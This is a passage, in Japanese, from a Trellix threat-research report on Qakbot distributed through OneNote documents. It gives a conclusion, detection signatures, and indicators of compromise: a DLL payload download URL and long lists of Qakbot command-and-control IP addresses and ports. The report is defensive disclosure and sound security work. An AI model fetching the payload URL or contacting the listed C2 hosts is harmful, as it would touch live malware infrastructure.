3954321778 ehonlionetodo.com

表7 マルウェア配布にOneNoteドキュメントを使用するIcedidマルウェア

C2
su1d.nerdpol.ovh:7000

表8 OneNoteドキュメントをマルウェア配布に利用するXwormマルウェア


結論

この調査では、マルウェアQakbotの新たな拡散経路ーの分析が示されています。OneNoteの悪意あるドキュメント、ローダーQakbot DLL、その主要なペイロードの詳細な分析で構成されています。Qakbotをどのように難読化し、解凍し、その設定を抽出したかを紹介します。

これらのQakbotキャンペーンは、特定の業界や地域を標的にしていないようですが、米国、インド、トルコ、タイでかなりの数の感染が確認されています。私たちの調査によると、この戦術は他のキャンペーンでも上昇し続けると考えています。攻撃者は、OneNoteの中に他の悪意のあるOfficeタイプを埋め込む、またはJava、Python、SCR、MSIなど他の古典的な実行ファイル戦術など、他の回避技術を模索することによって、セキュリティソリューションからの検出を回避する試みます。です。このキャンペーンに対して、組織やユーザーは、私たちが提案する予防策や緩和策に従うことをお勧めします。


Appendix

Trellixの悪意のあるOneNoteキャンペーンとQakbotの検出シグネチャ

Product Signature
Endpoint Security (ENS) One/Downloader.a.
W32/PinkSbot-IH
W32/PinkSbot-HZ
W32/PinkSbot-IB
Endpoint Security (HX) WERMGR LAUNCHED WITHOUT COMMAND LINE ARGUMENTS (METHODOLOGY)
POWERSHELL DOWNLOAD AT SUSPICIOUS PATH (METHODOLOGY)
QAKBOT J (FAMILY)
Network Security(NX)
Detection as a Service
Email Security
Malware Analysis
File Protect
FE_Trojan_ONE_Generic_1
FE_Trojan_ONE_Generic_2
FE_Trojan_ONE_Generic_3
FE_Trojan_ONE_Generic_4
FE_Trojan_ONE_Generic_5
FE_Trojan_ONE_Generic_6
FEC_Downloader_CMD_Generic_1
FEC_Downloader_CMD_Generic_2
FEC_Trojan_HTML_Generic_48
FEC_Trojan_HTML_Generic_49
FE_Trojan_Win32_QAKBOT_2
Downloader.CMD.Generic.MVX
Suspicious EmbeddedObject Onenote Activity
Suspicious Process Rundll32 Activity
Policy File ONENOTE with Embeded Object Delivered thru Emails
Suspicious Network By Powershell
Helix WINDOWS METHODOLOGY [Office Suspicious Child Process] (1.1.2497)
WINDOWS METHODOLOGY [Rundll32 Abuse] (1.1.3992)

IoC

最新のQakbotハッシュは、Trellix Insightsの各種Qbot Campaignで確認することができます。

DLL payload URLs
URL


http://185.104.195.9/87084.dat

Registries
URL


HKEY_CURRENT_USER\Software\Microsoft\[RANDOM]

Qakbot C2 IP:port (timestamp 1676453967 February 15, 2023)
75.143.236.149:443     47.34.30.133:443         103.212.19.254:995
85.61.165.153:2222     12.172.173.82:995         217.165.186.116:2222
103.231.216.238:443            156.216.125.255:995            86.96.72.139:2222
181.118.206.65:995              24.239.69.244:443               188.83.248.76:443
183.87.163.165:443              68.108.122.180:443              64.237.185.60:443
98.145.23.67:443                  173.18.126.3:443                 2.50.48.213:443
150.107.231.59:2222             45.50.233.214:443               77.86.98.236:443
122.184.143.82:443               24.71.120.191:443               103.141.50.102:995
82.127.204.82:2222               73.165.119.20:443               217.128.91.196:2222
136.244.25.165:443               41.230.174.134:443             2.13.73.146:2222
50.68.204.71:443                   90.104.22.28:2222               46.27.231.50:2078
162.248.14.107:443               74.33.196.114:443                27.109.19.90:2078
114.79.180.14:995                 121.121.100.207:995            86.207.227.152:2222
75.98.154.19:443                   81.157.227.223:2222            104.35.24.154:443
86.130.9.232:2222                 62.35.67.88:443                    201.244.108.183:995
124.122.56.144:443               151.65.224.211:443               190.75.132.158:2222
85.241.180.94:443                 12.172.173.82:20                  184.176.35.223:2222
2.99.47.198:2222                   67.187.130.101:443               190.11.198.75:443
109.150.179.236:2222            172.248.42.122:443               98.37.25.99:443
73.29.92.128:443                   85.85.34.201:993                   82.212.115.188:443
202.142.98.62:443                  93.156.99.48:443                  205.164.227.222:443
190.206.75.58:2222                47.149.78.242:443                88.126.94.4:50000
12.172.173.82:50001              161.142.107.68:995               86.250.12.217:2222
35.143.97.145:995                  47.21.51.138:443                  188.49.125.169:995
174.104.184.149:443               58.247.115.126:995              86.202.48.142:2222
12.172.173.82:995                  125.99.69.178:443                103.252.7.231:443
76.170.252.153:995                116.75.63.211:443                 86.225.214.138:2222
73.161.176.218:443                109.49.52.108:2222               87.202.101.164:50000
65.190.242.244:443                 92.97.197.177:2222              86.195.14.72:2222
24.206.27.39:443                    149.74.159.67:2222               84.215.202.22:443
116.72.250.18:443                   202.142.98.62:995                95.255.60.223:995
12.172.173.82:2087                 103.42.86.110:995                74.92.243.113:50000
176.142.207.63:443                 103.123.223.76:443              90.213.146.227:443
87.221.197.113:2222               27.0.48.233:443                   103.144.201.53:2078
89.129.109.27:2222                 92.27.86.48:2222                  27.0.48.205:443
84.35.26.14:995                      213.67.255.57:2222               88.126.112.14:50000
12.172.173.82:465                  31.53.29.145:2222                 209.142.97.83:995
50.68.204.71:993                    59.28.84.65:443                    108.2.111.66:995
12.172.173.82:21                    136.232.184.134:995             114.143.176.234:443
12.172.173.82:990                   85.59.61.52:2222                  24.228.132.224:2222

Office365をテーマにしたフィッシングキャンペーンで、2023年2月22日からマルウェアQakbotを配布開始

図 19 PDF 添付ファイル内の Office365 をテーマにしたフィッシングの攻撃ベクトル。
図19 Office365をテーマとしたPDF添付のフィッシングの攻撃ベクトル

Version Campaign Timestamp Converted timestamp
404.9 BB16 1677046917 February 22, 2023

Qakbot C2 IP:port (timestamp 1677046917 February 22, 2023)

47.21.51.138:443         76.80.180.154:995       12.172.173.82:995

72.80.7.6:50003           12.172.173.82:32101                70.77.116.233:443
82.127.204.82:2222                      68.150.18.161:443                    162.248.14.107:443
49.175.72.56:443                          68.173.170.110:8443                75.98.154.19:443
201.244.108.183:995                     24.9.220.167:443                     58.247.115.126:995
122.184.143.82:443                      12.172.173.82:2087                  184.68.116.146:61202
102.156.253.86:443                      50.68.204.71:993                      41.99.50.76:443
74.58.71.237:443                          107.146.12.26:2222                  184.68.116.146:3389
47.21.51.138:995                           81.229.117.95:2222                 72.203.216.98:2222
77.86.98.236:443                           27.0.48.233:443                       103.252.7.231:443
71.31.101.183:443                         69.133.162.35:443                    12.172.173.82:50001
136.232.184.134:995                     59.28.84.65:443                        70.160.80.210:443
86.225.214.138:2222                     76.170.252.153:995                   12.172.173.82:465
95.242.101.251:995                       89.32.159.192:995                     12.172.173.82:21
109.11.175.42:2222                       202.142.98.62:995                     47.34.30.133:443
90.78.138.217:2222                       73.78.215.104:443                     202.187.232.161:995
184.176.35.223:2222                     181.164.217.211:443                  98.147.155.235:443
35.143.97.145:995                         92.97.203.51:2222                     124.122.56.144:443
202.186.177.88:443                       116.74.164.26:443                      75.141.227.169:443
114.79.180.14:995                        103.141.50.102:995                     103.144.201.53:2078
86.150.47.219:443                        149.74.159.67:2222                     172.248.42.122:443
183.87.163.165:443                      116.72.250.18:443                       12.172.173.82:990
50.68.186.195:443                        125.99.69.178:443                       24.239.69.244:443
190.75.95.164:2222                       202.142.98.62:443                       173.18.126.3:443
98.145.23.67:443                           67.61.71.201:443                        73.165.119.20:443
67.10.175.47:2222                        103.123.223.168:443                    90.104.22.28:2222
71.212.147.224:2222                     80.13.205.69:2222                       14.192.241.76:995
88.126.94.4:50000                         80.0.74.165:443                          74.33.196.114:443
103.140.174.19:2222                     86.99.54.39:2222                         74.93.148.97:995
103.231.216.238:443                     213.67.255.57:2222                      86.202.48.142:2222
78.84.123.237:995                        176.142.207.63:443                       174.104.184.149:443
180.151.108.14:443                      50.67.17.92:443                            12.172.173.82:20
80.47.57.1​​31:2222                        217.165.1.53:2222                        109.151.144.37:443
198.2.51.242:993                          70.64.77.115:443                          104.35.24.154:443
50.68.204.71:995                           2.50.47.74:443                              114.143.176.234:443
205.164.227.222:443                     66.191.69.18:995                           84.35.26.14:995
147.219.4.194:443                         75.143.236.149:443                       45.50.233.214:443
77.124.6.149:443                           197.92.136.122:443                       64.237.185.60:443
49.245.82.178:2222                       108.190.203.42:995                        73.161.176.218:443
46.10.198.107:443                         50.68.204.71:443
本書およびここに含まれる情報は、教育目的およびTrellix顧客の利便性のみを目的としたコンピュータセキュリティリサーチを記述しています。記載されている活動の一部または全部を再現しようとする試みは、ユーザーのリスクのみであり、Trellixおよびその関連会社はいかなる責任も負わないものとします。

※本ページの内容は2023年3月2日(US時間)更新の以下のTrellix Storiesの内容です。
原文:
Qakbot Evolves to OneNote Malware Distribution
著者:Pham Duy PhucRaghav KapoorJohn Fokker J.E.Alejandro HouspanossianMathanraj Thangaraju